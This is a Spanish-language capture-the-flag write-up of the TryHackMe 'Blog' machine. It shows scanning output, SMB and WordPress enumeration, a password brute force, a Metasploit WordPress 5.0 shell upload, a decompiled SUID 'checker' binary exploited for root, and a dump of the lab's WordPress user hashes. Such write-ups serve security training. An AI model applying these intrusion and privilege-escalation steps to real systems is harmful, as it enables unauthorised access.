Contents

TryHackMe - Blog

TryHackMe - Blog

Blog es una maquina de TryHackMe, presenta retos de esteganografia, ataque de contraseñas y una vulnerabilidad en WordPress para obtener acceso. Con el codigo fuente de una fichero SUID exportamos una variable de entorno que nos devolvio una shell como root.

Room

DescripcionBilly Joel made a Wordpress blog!
Puntos350
DificultadMEDIA

Recon

nmap

Escaneo de puertos tcp, nmap nos muestra el puerto smb (445), http (80) y el puerto ssh (22) abiertos.

bash
 1# Nmap 7.80 scan initiated Thu Jul 23 16:31:53 2020 as: nmap -sV -o nmap_scan_mini blog.thm
 2Nmap scan report for blog.thm (10.10.91.166)
 3Host is up (0.26s latency).
 4Not shown: 996 closed ports
 5PORT    STATE SERVICE     VERSION
 622/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 780/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
 8139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 9445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
10Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
11
12Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
13# Nmap done at Thu Jul 23 16:32:56 2020 -- 1 IP address (1 host up) scanned in 63.00 seconds

Samba

Utilizamos smbclient para enumerar los SHARENAMES, encontramos BillySMB en el cual logramos descargar algunos archivos multimedia.

bash
 1root@upset:~/thm/blog# smbclient -L blog.thm
 2Enter WORKGROUP\root's password: 
 3
 4	Sharename       Type      Comment
 5	---------       ----      -------
 6	print$          Disk      Printer Drivers
 7	BillySMB        Disk      Billy's local SMB Share
 8	IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))
 9SMB1 disabled -- no workgroup available
10root@upset:~/thm/blog# smbclient \\\\blog.thm\\BillySMB
11Enter WORKGROUP\root's password: 
12Try "help" to get a list of possible commands.
13smb: \> ls
14  .                                   D        0  Tue May 26 13:17:05 2020
15  ..                                  D        0  Tue May 26 12:58:23 2020
16  Alice-White-Rabbit.jpg              N    33378  Tue May 26 13:17:01 2020
17  tswift.mp4                          N  1236733  Tue May 26 13:13:45 2020
18  check-this.png                      N     3082  Tue May 26 13:13:43 2020
19
20		15413192 blocks of size 1024. 9788768 blocks available
21smb: \> get Alice-White-Rabbit.jpg
22getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (18.8 KiloBytes/sec) (average 18.8 KiloBytes/sec)
23smb: \> get check-this.png
24getting file \check-this.png of size 3082 as check-this.png (2.5 KiloBytes/sec) (average 12.2 KiloBytes/sec)
25smb: \> get tswift.mp4
26getting file \tswift.mp4 of size 1236733 as tswift.mp4 (110.8 KiloBytes/sec) (average 89.9 KiloBytes/sec)
27smb: \>

Archivos encontrados:

image

Utilizamos steghide en el archivo JPG para verificar si tenian archivos ocultos, pero solo fuimos trolleados.

bash
 1root@upset:~/thm/blog# steghide Alice-White-Rabbit.jpg 
 2steghide: unknown command "Alice-White-Rabbit.jpg".
 3steghide: type "steghide --help" for help.
 4root@upset:~/thm/blog# steghide info Alice-White-Rabbit.jpg 
 5"Alice-White-Rabbit.jpg":
 6  format: jpeg
 7  capacity: 1.8 KB
 8Try to get information about embedded data ? (y/n) y
 9Enter passphrase: 
10  embedded file "rabbit_hole.txt":
11    size: 48.0 Byte
12    encrypted: rijndael-128, cbc
13    compressed: yes
14root@upset:~/thm/blog# steghide extract -sf Alice-White-Rabbit.jpg 
15Enter passphrase: 
16wrote extracted data to "rabbit_hole.txt".
17root@upset:~/thm/blog# cat rabbit_hole.txt 
18You've found yourself in a rabbit hole, friend.

El archivo QR al escanearlo nos devuelve una URL, esta url nos redirige a un video de youtube.

image

Web Site

Encontramos una pagina web en el puerto 80.

image

Gobuster

Utilizamos gobuster para busqueda de directorios y archivos, vemos que tiene directorios que pertenecen a Wordpress.

text
 1root@upset:~/thm/blog# gobuster dir -u http://blog.thm/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -q -t 25 -x php,html,txt
 2/rss (Status: 301)
 3/index.php (Status: 301)
 4/login (Status: 302)
 5/0 (Status: 301)
 6/feed (Status: 301)
 7/atom (Status: 301)
 8/wp-content (Status: 301)
 9/admin (Status: 302)
10/welcome (Status: 301)
11/wp-login.php (Status: 200)
12/n (Status: 301)
13/w (Status: 301)
14/rss2 (Status: 301)
15/license.txt (Status: 200)
16/wp-includes (Status: 301)
17/readme.html (Status: 200)
18/wp-register.php (Status: 301)
19/no (Status: 301)
20/wp-rss2.php (Status: 301)
21/rdf (Status: 301)
22/page1 (Status: 301)
23/robots.txt (Status: 200)
24/' (Status: 301)
25/dashboard (Status: 302)
26/note (Status: 301)
27/%20 (Status: 301)

WPScan

Utilizamos wpscan para enumerar version, usuarios, plugins y temas vulnerables de Wordpress. Encontramos dos usuarios registrados.

bash
  1[+] URL: http://blog.thm/
  2[+] Started: Thu Jul 23 16:52:47 2020
  3
  4Interesting Finding(s):
  5
  6[+] http://blog.thm/
  7 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
  8 | Found By: Headers (Passive Detection)
  9 | Confidence: 100%
 10
 11[+] http://blog.thm/robots.txt
 12 | Interesting Entries:
 13 |  - /wp-admin/
 14 |  - /wp-admin/admin-ajax.php
 15 | Found By: Robots Txt (Aggressive Detection)
 16 | Confidence: 100%
 17
 18[+] http://blog.thm/xmlrpc.php
 19 | Found By: Direct Access (Aggressive Detection)
 20 | Confidence: 100%
 21 | References:
 22 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 23 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 24 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 25 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 26 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
 27
 28[+] http://blog.thm/readme.html
 29 | Found By: Direct Access (Aggressive Detection)
 30 | Confidence: 100%
 31
 32[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
 33 | Found By: Direct Access (Aggressive Detection)
 34 | Confidence: 100%
 35
 36[+] http://blog.thm/wp-cron.php
 37 | Found By: Direct Access (Aggressive Detection)
 38 | Confidence: 60%
 39 | References:
 40 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 41 |  - https://github.com/wpscanteam/wpscan/issues/1299
 42
 43[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 44 | Found By: Rss Generator (Passive Detection)
 45 |  - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 46 |  - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 47
 48[+] WordPress theme in use: twentytwenty
 49 | Location: http://blog.thm/wp-content/themes/twentytwenty/
 50 | Last Updated: 2020-06-10T00:00:00.000Z
 51 | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
 52 | [!] The version is out of date, the latest version is 1.4
 53 | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3
 54 | Style Name: Twenty Twenty
 55 | Style URI: https://wordpress.org/themes/twentytwenty/
 56 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 57 | Author: the WordPress team
 58 | Author URI: https://wordpress.org/
 59 |
 60 | Found By: Css Style In Homepage (Passive Detection)
 61 | Confirmed By: Css Style In 404 Page (Passive Detection)
 62 |
 63 | Version: 1.3 (80% confidence)
 64 | Found By: Style (Passive Detection)
 65 |  - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3'
 66
 67[+] Enumerating Users (via Passive and Aggressive Methods)
 68 Brute Forcing Author IDs - Time: 00:00:06 <====================================================================================================================================> (10 / 10) 100.00% Time: 00:00:06
 69
 70[i] User(s) Identified:
 71
 72[+] kwheel
 73 | Found By: Author Posts - Author Pattern (Passive Detection)
 74 | Confirmed By:
 75 |  Wp Json Api (Aggressive Detection)
 76 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 77 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 78 |  Login Error Messages (Aggressive Detection)
 79
 80[+] bjoel
 81 | Found By: Author Posts - Author Pattern (Passive Detection)
 82 | Confirmed By:
 83 |  Wp Json Api (Aggressive Detection)
 84 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 85 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 86 |  Login Error Messages (Aggressive Detection)
 87
 88[+] Karen Wheeler
 89 | Found By: Rss Generator (Passive Detection)
 90 | Confirmed By: Rss Generator (Aggressive Detection)
 91
 92[+] Billy Joel
 93 | Found By: Rss Generator (Passive Detection)
 94 | Confirmed By: Rss Generator (Aggressive Detection)
 95
 96[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
 97[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up.
 98
 99[+] Finished: Thu Jul 23 16:53:07 2020
100[+] Requests Done: 24
101[+] Cached Requests: 35
102[+] Data Sent: 6.06 KB
103[+] Data Received: 154.571 KB
104[+] Memory used: 117.724 MB
105[+] Elapsed time: 00:00:19

Utilizamos wpscan para hacer un ataque de fuerza bruta con los usuarios que encontramos, primero intentamos con el usuario kwheel al que logramos encontrar la contraseña.

image

User - www-data

Con las credenciales que encontramos, editamos el archivo, pero no podemos realizar alguna modificacion a los archivos.

image

Buscamos exploits/vulnerabilidades de la version de wordpress y vemos un exploit para metasploit que afecta esta version.

bash
1root@upset:~/thm/blog# searchsploit wordpress 5.0
2---------------------------------------------------------------------------------------------------------------- ----------------------------------------
3 Exploit Title                                                                                                  |  Path
4                                                                                                                | (/usr/share/exploitdb/)
5---------------------------------------------------------------------------------------------------------------- ----------------------------------------
6WordPress 5.0.0 - Crop-image Shell Upload (Metasploit)                                                          | exploits/php/remote/46662.rb
7[ ... REDACTED ...]
8---------------------------------------------------------------------------------------------------------------- ----------------------------------------
9Shellcodes: No Result

Utilizamos metasploit con el exploit que encontramos y logramos obtener una shell en la maquina con el usuario www-data.

image

En el directorio /home/bjoel encontramos la “flag user.txt” pero no contiene lo que buscamos, además encontramos un pdf que tiene informacion sobre Rubber Ducky.

bash
 1www-data@blog:/home/bjoel$ 
 2ls -lah
 3total 100K
 4drwxr-xr-x 4 bjoel bjoel 4.0K May 26 20:08 .
 5drwxr-xr-x 3 root  root  4.0K May 26 18:02 ..
 6lrwxrwxrwx 1 root  root     9 May 26 18:18 .bash_history -> /dev/null
 7-rw-r--r-- 1 bjoel bjoel  220 Apr  4  2018 .bash_logout
 8-rw-r--r-- 1 bjoel bjoel 3.7K Apr  4  2018 .bashrc
 9drwx------ 2 bjoel bjoel 4.0K May 25 13:15 .cache
10drwx------ 3 bjoel bjoel 4.0K May 25 13:15 .gnupg
11-rw-r--r-- 1 bjoel bjoel  807 Apr  4  2018 .profile
12-rw-r--r-- 1 bjoel bjoel    0 May 25 13:16 .sudo_as_admin_successful
13-rw-r--r-- 1 bjoel bjoel  68K May 26 18:33 Billy_Joel_Termination_May20-2020.pdf
14-rw-r--r-- 1 bjoel bjoel   57 May 26 20:08 user.txt
15www-data@blog:/home/bjoel$ cat user.txt
16cat user.txt
17You won't find what you're looking for here.
18
19TRY HARDER
20www-data@blog:/home/bjoel$

Billy_Joel_Termination_May20-2020.pdf

image

Privesc

Hacemos una pequeña enumeracion en la maquina por binarios/archivos SUID, encontramos un archivo ejecutable, al ejecutarlo nos muestra un mensaje de Not an Admin.

bash
1ind / -perm -4000 2> /dev/null | xargs ls -lah
2[... REDACTED ...]
3-rwsr-xr-x 1 root   root             99K Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
4-rwsr-sr-x 1 root   root            8.3K May 26 18:27 /usr/sbin/checker
5file /usr/sbin/checker
6/usr/sbin/checker: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6cdb17533a6e02b838336bfe9791b5d57e1e2eea, not stripped

Revisamos los strings del ejecutable y encontramos algunos strings interesantes, como /bin/bash, setuid, puts, getenv, system.

bash
 1/lib64/ld-linux-x86-64.so.2
 2libc.so.6
 3setuid
 4puts
 5getenv
 6system
 7[... REDACTED ...]
 8admin
 9/bin/bash
10Not an Admin
11;*3$"
12GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
13crtstuff.c
14deregister_tm_clones
15[... REDACTED ...]

Utilizamos Ghidra para analizar el archivo, vemos la funcion main, donde tiene una variable que obtiene (getenv()) la variable admin, en el caso de que esta variable este vacia se cierra el programa, en otro caso retorna una shell con usuario root.

c
 1undefined8 main(void)
 2{
 3  char *pcVar1;
 4  
 5  pcVar1 = getenv("admin");
 6  if (pcVar1 == (char *)0x0) {
 7    puts("Not an Admin");
 8  }
 9  else {
10    setuid(0);
11    system("/bin/bash");
12  }
13  return 0;
14}

En la maquina creamos la variable $admin a quien le pasamos un directorio cualquiera, ejecutamos el ejecutable y logramos obtener una shell con usuario root y la flag root.txt.

image

Finalmente, buscamos la flag user.txt.

image

Anexo - Database Blog

Logramos entrar al servicio de mysql sin credenciales utilizando el usuario root, donde encontramos las credenciales de los usuarios de la base de datos de wordpress (blog).

bash
 1+--------------------+
 2| Database           |
 3+--------------------+
 4| information_schema |
 5| blog               |
 6| mysql              |
 7| performance_schema |
 8| sys                |
 9+--------------------+
105 rows in set (0.00 sec)
11
12+-----------------------+
13| Tables_in_blog        |
14+-----------------------+
15| wp_commentmeta        |
16| wp_comments           |
17| wp_links              |
18| wp_options            |
19| wp_postmeta           |
20| wp_posts              |
21| wp_term_relationships |
22| wp_term_taxonomy      |
23| wp_termmeta           |
24| wp_terms              |
25| wp_usermeta           |
26| wp_users              |
27+-----------------------+
2812 rows in set (0.00 sec)
29
30mysql> describe wp_users;
31+---------------------+---------------------+------+-----+---------------------+----------------+
32| Field               | Type                | Null | Key | Default             | Extra          |
33+---------------------+---------------------+------+-----+---------------------+----------------+
34| ID                  | bigint(20) unsigned | NO   | PRI | NULL                | auto_increment |
35| user_login          | varchar(60)         | NO   | MUL |                     |                |
36| user_pass           | varchar(255)        | NO   |     |                     |                |
37| user_nicename       | varchar(50)         | NO   | MUL |                     |                |
38| user_email          | varchar(100)        | NO   | MUL |                     |                |
39| user_url            | varchar(100)        | NO   |     |                     |                |
40| user_registered     | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
41| user_activation_key | varchar(255)        | NO   |     |                     |                |
42| user_status         | int(11)             | NO   |     | 0                   |                |
43| display_name        | varchar(250)        | NO   |     |                     |                |
44+---------------------+---------------------+------+-----+---------------------+----------------+
4510 rows in set (0.00 sec)
46
47mysql> select * from wp_users;
48+----+------------+------------------------------------+---------------+------------------------------+----------+---------------------+---------------------+-------------+---------------+
49| ID | user_login | user_pass                          | user_nicename | user_email                   | user_url | user_registered     | user_activation_key | user_status | display_name  |
50+----+------------+------------------------------------+---------------+------------------------------+----------+---------------------+---------------------+-------------+---------------+
51|  1 | bjoel      | $P$BjoFHe8zIyjnQe/CBvaltzzC6ckPcO/ | bjoel         | nconkl1@outlook.com          |          | 2020-05-26 03:52:26 |                     |           0 | Billy Joel    |
52|  3 | kwheel     | $P$BedNwvQ29vr1TPd80CDl6WnHyjr8te. | kwheel        | zlbiydwrtfjhmuuymk@ttirv.net |          | 2020-05-26 03:57:39 |                     |           0 | Karen Wheeler |
53+----+------------+------------------------------------+---------------+------------------------------+----------+---------------------+---------------------+-------------+---------------+
542 rows in set (0.00 sec)
sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev TryHackMe - JoyStick
Next TryHackMe - Smag Grotto